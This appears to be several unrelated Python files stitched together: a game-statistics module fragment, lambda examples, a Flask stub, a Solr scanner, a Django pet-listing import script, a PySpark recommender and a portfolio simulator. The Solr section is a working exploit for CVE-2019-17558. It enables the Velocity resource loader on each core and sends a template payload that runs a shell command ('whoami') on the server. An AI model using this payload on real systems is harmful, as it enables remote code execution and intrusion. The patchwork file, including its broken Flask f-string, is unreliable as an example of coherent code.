            datetime.datetime.strptime(date_text, '%Y-%m-%d')
        except ValueError:
            print("日期格式不正确，格式应该为 YYYY-MM-DD 例如：2019-10-22")
            sys.exit(700)

    def reg_out_put(self):
        '''注册人数结果输出'''
        print('%s 注册人数为: %d' % (self.data_time, len(self.mysql_list)))

    def all_people_out(self):
        '''注册总人数输出'''
        all_num=0
        for index in self.mysql_list:
            all_num=all_num+index
        print('总计注册人数为: %d' % all_num)

    def pay_out_put(self):
        '''支付信息输出'''
        print('%s 支付人数为: %d' % (self.data_time, len(self.mysql_list)))
        print('支付用户uid列表: ',self.mysql_list)

    def record_out_put(self):
        '''游戏记录输出'''
        print('%s 游戏记录超过%d条的玩家数量为: %d' % (self.data_time,self.GAME_COUNT_NUM,len(self.mongo_list)))
        print('玩家uid列表：',self.mongo_list)

    def active_out_put(self):
        '''活跃玩家输出'''
        self.mysql_list.extend(self.mongo_list)
        active_set = set(self.mysql_list)
        print('%s 活跃的玩家数量为: %d' % (self.data_time,len(active_set)))
        print('活跃玩家uid列表：', list(active_set))

    def player_out_put(self,io='产出'):
        '''
        投入产出前100的输出
        '''
        informations = io
        if io=='input':
            informations = '投入'
        print('玩家 %s 前100排行如下：' % informations)
        print(self.redis_list)

    def player_revenues_output(self):

        DataManager.record_output(self.mongo_dict)

    def rank_out(self,flag='lose'):
        if flag == 'win':
            print('%s 赢的前100名玩家' % self.data_time)
            for i in self.mongo_list:
                print('%s %s' % (i['uid'],i['revenue']))
        else:
            print('%s 输的前100名玩家' % self.data_time)
            for i in self.mongo_list:
                print('%s %s' % (i['uid'],i['revenue']))

    def query_db(self,table_name,session,fun):
        '''
        调用DBfunction查询模块查询表内信息
        '''
        q_db=DBs(table_name,session,self.data_time,fun)
        res_list=q_db.dofun()
        if len(res_list) != 0:
            self.mysql_list.extend(res_list)

    def count_list(self,some_list):
        '''
        统计列表重复元素个数
        :return:
        '''
        myset = set(some_list)
        for item in myset:
            if some_list.count(item) >= 50:
                self.mongo_list.append(item)

    def data_return(self):
        '''
        模块的"API"
        外部程序import此模块时，返回输出记录给外部程序
        调用范例见：test.py 文件内的代码
        :return:
        '''
        return self.mysql_list,self.mongo_list,self.redis_list

    def dict_data_return(self):
        '''
        模块的"API"
        外部程序import此模块时，返回输出记录给外部程序
        调用范例见：test.py 文件内的代码
        :return:
        '''
        # print('此时mongo dict字典为')
        # for i in self.mongo_list:
        #     print(i)
        return self.mongo_dict

####################测试代码区###########################################
####################测试代码区END#########################################

if __name__ == '__main__':
    print('请在Coll模块中调用此模块的一切功能')
    sys.exit(101)
    # argv_check()
    # args = parser_flag()
    #
    # Satisfy_db(engine01, args.reg, args.login)
    # Satisfy_db(engine02, args.reg, args.login)
    # mysql_list = set(mysql_list)
    # # print(mysql_list)
    # print('%s 总计注册了%d人' % (args.reg,len(mysql_list)))
    #
    # Satisfy_login_set = set(Satisfy_login_set)
    # print('%s 总计登录了%d人' % (args.login,len(Satisfy_login_set)))
    #
    # #2个集合取交集，得到规定时间内即注册又登录的用户
    # Inter_set=mysql_list.intersection(Satisfy_login_set)
    # print("在%s登录，并在%s注册过的人有：%d人" % (args.login,args.reg,len(Inter_set)))
    #
    # print("在%s登录，并在%s注册的留存率：%0.2f%%" % (args.login,args.reg,(len(Inter_set)/len(mysql_list)*100)))

# li=[{'uid':2222,'uid date':'2019-10-19','gameId':3,'type':'fish','level':2,'input':99,'output':60,'revenue':-10},{'uid':22333,'uid date':'2019-10-19','gameId':2,'type':'fish','level':1,'input':10,'output':60,'revenue':50}]


from functools import reduce

# Lambda
square = lambda x: x ** 2

# Lambda with map
numbers = [1, 2, 3, 4, 5]
squares = list(map(lambda x: x ** 2, numbers))

# Lambda with filter
values = [2, 65, 67, 78, 98]
peers = list(filter(lambda x: x % 2 == 0, values))
peers_list_comprehension = [x for x in values if x % 2 == 0]

# Lambda with reduce
values_reduce = [2, 65, 67, 78, 98]
sum_values = reduce(lambda x, y: x + y, values_reduce)


from flask import Flask

app = Flask(__name__)

@app.route("/")
def home():
    html = f"
Final Capstone project
"
    return html.format(format)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80, debug=True) # specify port=80


from termcolor import cprint
import requests
import threading
import re
import json
from tqdm import *
from colorama import Fore

# 全都用tqdm.write(url)打印     能够打印在进度条上方，并将进度条下移一行。
# 存在漏洞可能得需要红色，使用   tqdm.write(Fore.RED + url)   打印则有颜色
# 打印一些错误需要灰色 使用   tqdm.write(Fore.WHITE + url)
# 打印漏洞结果 使用   tqdm.write(Fore.BLACK + url)

# 模板
class Detect(threading.Thread):
    name = 'Solr'

    def __init__(self, url, vul_list, requests_proxies):
        threading.Thread.__init__(self)
        self.url = url.rstrip('/')
        self.vul_list = vul_list                    # 存储漏洞的名字和url
        self.proxies = requests_proxies  # 代理
        self.headers = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"}
        self.isExist = False  # 检测该url是否存在漏洞，默认为False，如果测出有漏洞，则设置为True

    # 调用各种漏洞检测方法
    def run_detect(self):
        # 漏洞1
        self.CVE_2019_17558()

        if not self.isExist:
            return False
        else:
            return True

    # 漏洞1
    def CVE_2019_17558(self):
        url1 = self.url + '/solr/admin/cores?indexInfo=false&wt=json'
        # tqdm.write(Fore.WHITE + 'test upload : {}'.format(url1))
        try:
            res = requests.get(url=url1, headers=self.headers, proxies=self.proxies, verify=False)
            if res.status_code == 200 and 'responseHeader' in res.text:
                json_data = json.loads(res.text)
                if json_data['status']:
                    for name in json_data['status']:
                        config_url = self.url + '/solr/' + name + '/config'

                        headers = {
                            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0',
                            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                            'Accept-Encoding': 'gzip, deflate',
                            'Content-Type': 'application/json',
                            'Content-Length': '259',
                            'Connection': 'close'
                        }
                        payloads = """
                                    {
                                        "update-queryresponsewriter": {
                                            "startup": "lazy",
                                            "name": "velocity",
                                            "class": "solr.VelocityResponseWriter",
                                            "template.base.dir": "",
                                            "solr.resource.loader.enabled": "true",
                                            "params.resource.loader.enabled": "true"
                                        }
                                    }
                                """

                        res2 = requests.post(url=config_url, headers=headers, data=payloads, proxies=self.proxies, verify=False)
                        res3 = requests.get(url=config_url, headers=self.headers, proxies=self.proxies, verify=False)
                        if (res2.status_code == 200 or 'responseHeader' in res2.text) and '"params.resource.loader.enabled":"true"' in res3.text:
                            command_payload = r"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27{}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end".format("whoami")
                            res = requests.get(self.url + "/solr/" + name + command_payload)
                            tqdm.write(Fore.RED + '[Solr CVE-2019-17558] {} User:{}'.format(self.url, res.text.strip()))
                            self.vul_list.append(['Solr CVE-2019-17558', self.url, 'Yes User: {}'.format(res.text.strip())])
                            self.isExist = True
                            break
                else:
                    self.isExist = False
        except Exception as e:
            return False

if __name__ == '__main__':
    from queue import Queue

    vul_list = []
    # proxy = r'192.168.168.148:10086'
    # requests_proxies = {"http": "socks5://{}".format(proxy), "https": "socks5://{}".format(proxy)}
    requests_proxies = None
    url = r'http://www.domain.com'
    Detect(url, vul_list, requests_proxies).run_detect()

    tqdm.write(Fore.BLACK + '-' * 50 + '结果' + '-' * 50)
    for vul in vul_list:
        tqdm.write(Fore.BLACK + str(vul))


import os
import django
from django.conf import settings
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "eyes1000.settings")
django.setup()
from django.core.files import File
from django.core.files.storage import FileSystemStorage
from pet.models import PetLost, PetFound, PetMaterial, PET_TYPE, GENDER_CHOICE
from wx_auth.models import User
from PIL import Image, ImageOps
from datetime import datetime
import sys
import io
import uuid

GENDER = {
  'GG': GENDER_CHOICE[1][0],
  'MM': GENDER_CHOICE[2][0],
}

PET = {
  'cat': PET_TYPE[1][0],
  'dog': PET_TYPE[2][0],
}

MATERIAL_DIR = 'import'

def Usage():
  print("%s [csv file] [lost|found] [cat|dog]" % sys.argv[0])

def get_mediacal_status(status):
  return ','.join([str(i+1) for i, ch in enumerate(status) if ch == 'Y'])

def get_found_status(status):
  return ','.join([str(i) for i, ch in enumerate(status) if ch == 'Y'])

def get_user():
  return User.objects.filter(wx_openid__isnull=False, wx_nickname__isnull=False, wx_avatar__isnull=False).order_by('?').first()

def store_material(img_path, user):
  print('save img %s' % img_path)
  with open(img_path, 'rb') as img_file:
    img_file = File(img_file)
    fs = FileSystemStorage(location=os.path.join(settings.MEDIA_ROOT, 'material'),
                            base_url=settings.MEDIA_URL + 'material')
    material_dir = os.path.join(settings.MEDIA_ROOT, 'material')
    filename = str(uuid.uuid1()) + '.' + img_path.split('.')[-1]
    filepath = fs.save(filename, img_file)
    upload_url =  fs.url(filepath)

    image = Image.open(img_file)
    image = image.convert('RGB')
    thumb = ImageOps.fit(image, settings.THUMB_SIZE, Image.ANTIALIAS)

    thumb_io = io.BytesIO()
    thumb.save(thumb_io, 'JPEG')
    thumb_io.seek(0)
    thumb_filename = 'thumb_' + filename
    thumb_filepath = fs.save(thumb_filename, thumb_io)
    thumb_url = fs.url(thumb_filepath)
    material = PetMaterial(publisher=user, mime_type='image/jpg', size=img_file.size, url=upload_url, thumb_url=thumb_url)
    material.save()
    return material

def insert_lost(data, pet_type):
  user = get_user()
  lost = PetLost(publisher=user,
                 nickname=data[2],
                 pet_type=PET[pet_type],
                 birthday=datetime.strptime(data[4], "%m/%d/%Y"),
                 gender=GENDER[data[5]],
                 medical_status=get_mediacal_status(data[6:9]),
                 found_time=datetime.strptime(data[9], "%m/%d/%Y"),
                 place=data[10],
                 reward=int(data[11]),
                 description=data[13],
                 latitude=31.2297,
                 longitude=121.4762,
                 )
  lost.save()
  material_dir = os.path.join(MATERIAL_DIR, data[12][1:])
  for img_file in os.listdir(material_dir):
    material = store_material(os.path.join(material_dir, img_file), user)
    material.lost = lost
    material.save()
  print("insert lost %d" % lost.id)
  return lost

def insert_found(data, pet_type):
  user = get_user()
  found = PetFound(publisher=user,
                  pet_type=PET[pet_type],
                  found_time=datetime.strptime(data[5], "%m/%d/%Y"),
                  gender=GENDER[data[8]],
                  found_status=get_found_status(data[2:6]),
                  place=data[6],
                  description=data[10],
                  latitude=31.2297,
                  longitude=121.4762,
                 )
  found.save()
  material_dir = os.path.join(MATERIAL_DIR, data[9][1:])
  for img_file in os.listdir(material_dir):
    material = store_material(os.path.join(material_dir, img_file), user)
    material.found =found
    material.save()
  print("insert lost %d" % found.id)
  return found

if __name__ == "__main__":
  if len(sys.argv) < 4:
    Usage()
    sys.exit()
  file_path = sys.argv[1]
  post_type = sys.argv[2]
  pet_type = sys.argv[3]

  if pet_type not in ('cat', 'dog') or post_type not in ['lost', 'found']:
    Usage()
    sys.exit()

  with open(file_path) as csv:
    for line in csv:
      data = line.split('\t')
      if post_type == 'lost':
        insert_lost(data, pet_type)
      else:
        insert_found(data, pet_type)


from pyspark import RDD
from pyspark.sql import Row
from pyspark.sql import SparkSession

from evaluation import RegressionEvaluator
from recommendation import ALS

spark = SparkSession \
    .builder \
    .appName("recommend") \
    .config("spark.serializer", "org.apache.spark.serializer.KryoSerializer") \
    .config("spark.shuffle.consolidateFiles", "true") \
    .getOrCreate()

lines = spark.read.text("hdfs://isec-hdp01:8020/data/source3/*").rdd  # type: RDD

parts = lines.map(lambda row: row.value.split("::"))
amountsRDD = parts.map(lambda p: Row(userId=int(p[0]), rank=int(p[1]), amount=float(p[2])))
amounts = spark.createDataFrame(amountsRDD)
(training, test) = amounts.randomSplit([0.8, 0.2])

# Build the recommendation model using ALS on the training data
# Note we set cold start strategy to 'drop' to ensure we don't get NaN evaluation metrics
als = ALS(maxIter=5, regParam=0.01, userCol="userId", itemCol="rank", ratingCol="amount", coldStartStrategy="drop")
model = als.fit(training)

# Evaluate the model by computing the RMSE on the test data
predictions = model.transform(test)
evaluator = RegressionEvaluator(metricName="rmse", labelCol="amount", predictionCol="prediction")

rmse = evaluator.evaluate(predictions)
print("Root-mean-square error = " + str(rmse))

# Generate top 10 movie recommendations for each user
userRecs = model.recommendForAllUsers(10)
userRecs.show(100)

# Generate top 10 user recommendations for each movie
movieRecs = model.recommendForAllItems(10)
movieRecs.show()


import inspect

import joblib

import numpy as np

import pandas as pd

from ..core.portfolio import Portfolio
from ..utils import mabc

# =============================================================================
# BASE
# =============================================================================

class PortfolioMakerABC(mabc.ModelABC):
    _MKPORT_SIGNATURE = {
        "self",
        "window_size",
        "days",
        "stocks",
        "price",
        "weights",
    }

    def __init_subclass__(cls):
        mpsig = inspect.signature(cls.make_portfolio)
        missing_args = cls._MKPORT_SIGNATURE.difference(mpsig.parameters)
        if missing_args:
            missing_args_str = ", ".join(missing_args)
            msg = f"Missing arguments {missing_args_str!r} in make_portfolio"
            raise TypeError(msg)
        return super().__init_subclass__()

    @mabc.abstractmethod
    def make_portfolio(
        self,
        *,
        window_size=5,
        days=365,
        stocks=10,
        price=100,
        weights=None,
    ):
        raise NotImplementedError()

# =============================================================================
# ANOTHER BASE
# =============================================================================

class RandomEntropyPortfolioMakerABC(PortfolioMakerABC):
    random_state = mabc.hparam(
        default=None, converter=np.random.default_rng, repr=False
    )
    n_jobs = mabc.hparam(default=None)
    verbose = mabc.hparam(default=0)
    entropy = mabc.hparam(default=0.5)

    # Abstract=================================================================

    @mabc.abstractmethod
    def get_window_loss_probability(self, window_size, entropy):
        raise NotImplementedError()

    @mabc.abstractmethod
    def make_stock_price(self, price, loss, random):
        raise NotImplementedError()

    # INTERNAL ================================================================

    def _coerce_price(self, stocks, prices):
        if isinstance(prices, (int, float)):
            prices = np.full(stocks, prices, dtype=float)
        elif len(prices) != stocks:
            raise ValueError(f"The number of prices must be equal {stocks}")
        return np.asarray(prices, dtype=float)

    def _make_stocks_seeds(self, stocks):
        iinfo = np.iinfo(int)
        seeds = self.random_state.integers(
            low=0,
            high=iinfo.max,
            size=stocks,
            dtype=iinfo.dtype,
            endpoint=True,
        )

        return seeds

    def _make_loss_sequence(self, days, loss_probability, random):
        win_probability = 1 - loss_probability

        # primero seleccionamos con las probabilidades adecuadas si en cada
        # dia se pierde o se gana
        sequence = random.choice(
            [True, False],
            size=days,
            p=[loss_probability, win_probability],
        )

        # con esto generamos lugares al azar donde vamos a invertir la
        # secuencia anterior dado que las probabilidades representan
        # una distribucion simétrica
        reverse_mask = random.choice([True, False], size=days)

        # finalmente invertimos esos lugares
        final_sequence = np.where(reverse_mask, ~sequence, sequence)

        return final_sequence

    def _make_stock(
        self,
        days,
        loss_probability,
        stock_idx,
        initial_price,
        random,
    ):
        # determinamos que dia se pierde y que dia se gana
        loss_sequence = self._make_loss_sequence(
            days, loss_probability, random
        )

        # fijamos el primer precio como el precio orginal
        current_price = initial_price

        # vamos a tener tantos dias como dijimos mas un dia 0 al comienzo
        timeserie = np.empty(days + 1, dtype=float)

        # first price is the initial one
        timeserie[0] = current_price

        for day, loss in enumerate(loss_sequence, start=1):
            current_price = self.make_stock_price(current_price, loss, random)
            timeserie[day] = current_price

        stock_df = pd.DataFrame({f"S{stock_idx}": timeserie})

        return stock_df

    # API =====================================================================

    def make_portfolio(
        self,
        *,
        window_size=5,
        days=365,
        stocks=10,
        price=100,
        weights=None,
    ):
        if window_size <= 0:
            raise ValueError("'window_size' must be > 0")
        if days < window_size:
            raise ValueError("'days' must be >= window_size")

        initial_prices = self._coerce_price(stocks, price)

        loss_probability = self.get_window_loss_probability(
            window_size, self.entropy
        )

        seeds = self._make_stocks_seeds(stocks)
        idx_prices_seed = zip(range(stocks), initial_prices, seeds)

        with joblib.Parallel(
            n_jobs=self.n_jobs,
            verbose=self.verbose,
            prefer="processes",
        ) as P:
            dmaker = joblib.delayed(self._make_stock)
            stocks = P(
                dmaker(
                    days=days,
                    loss_probability=loss_probability,
                    stock_idx=stock_idx,
                    initial_price=stock_price,
                    random=np.random.default_rng(seed),
                )
                for stock_idx, stock_price, seed in idx_prices_seed
            )

        stock_df = pd.concat(stocks, axis=1)

        return Portfolio.from_dfkws(
            stock_df,
            weights=weights,
            entropy=self.entropy,
            window_size=window_size,
        )